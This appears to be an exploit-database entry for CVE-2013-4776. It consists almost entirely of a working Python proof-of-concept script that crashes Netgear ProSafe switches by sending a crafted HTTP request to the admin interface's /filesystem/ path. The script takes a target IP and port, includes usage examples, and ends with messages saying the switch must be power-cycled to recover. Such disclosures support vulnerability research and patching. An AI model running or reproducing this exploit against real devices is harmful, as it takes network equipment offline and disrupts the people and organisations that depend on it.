Netgear ProSafe - Denial of Service Vulnerability



EKU-ID: 3447 CVE: 2013-4776 OSVDB-ID:
Author: Juan J. Guelfo Published: 2013-08-26 Verified: Verified
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import sys, getopt, urllib2
from subprocess import *
   
   
__version__ = "0.1"
__author__ = "Juan J. Guelfo, Encripto AS (post@encripto.no)"
   
   
# Prints title and other header info
def header():
    print ""
    print " ================================================================= "
    print "|  Netgear ProSafe - CVE-2013-4776 PoC \t\t\t\t  |".format(__version__)
    print "|  by {0}\t\t  |".format(__author__)
    print " ================================================================= "
    print ""
   
       
# Prints help    
def help():
    header()
    print """
   Usage: python CVE-2013-4776.py [mandatory options]
   
   Mandatory options:
       -t target               ...Target IP address
       -p port                 ...Port where the HTTP admin interface is listening on
           
   Example:
       python CVE-2013-4776.py -t 192.168.0.1 -p 80
    """
    sys.exit(0) 
   
       
if __name__ == '__main__':
       
    #Parse options
    try:
        options, args = getopt.getopt(sys.argv[1:], "t:p:", ["target=", "port="])
   
    except getopt.GetoptError, err:
        header()
        print "\n[-] Error: {0}.\n".format(str(err))
        sys.exit(1)
       
    if not options:
        help()
       
    target = None
    port = None
    for opt, arg in options:
        if opt in ("-t"):
            target = arg
           
        if opt in ("-p"):
            port = arg    
               
    #Option input validation
    if not target or not port:
        help()
        print "[-] Error: Incorrect syntax.\n"
        sys.exit(1)
       
    header()
    headers = { "User-Agent" : "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)" }
   
    try:
        # Get the startup config via HTTP admin interface
        print "[+] Triggering DoS condition..."
        r = urllib2.Request('http://%s:%s/filesystem/' % (target, port), None, headers)
        urllib2.urlopen(r,"",5).read()
       
    except urllib2.URLError:
        print "[-] Error: The connection could not be established.\n"
           
    except:
        print "[+] The switch should be freaking out..."
        print "[+] Reboot the switch (unplug the power cord) to get it back to normal...\n"
   
    sys.exit(0)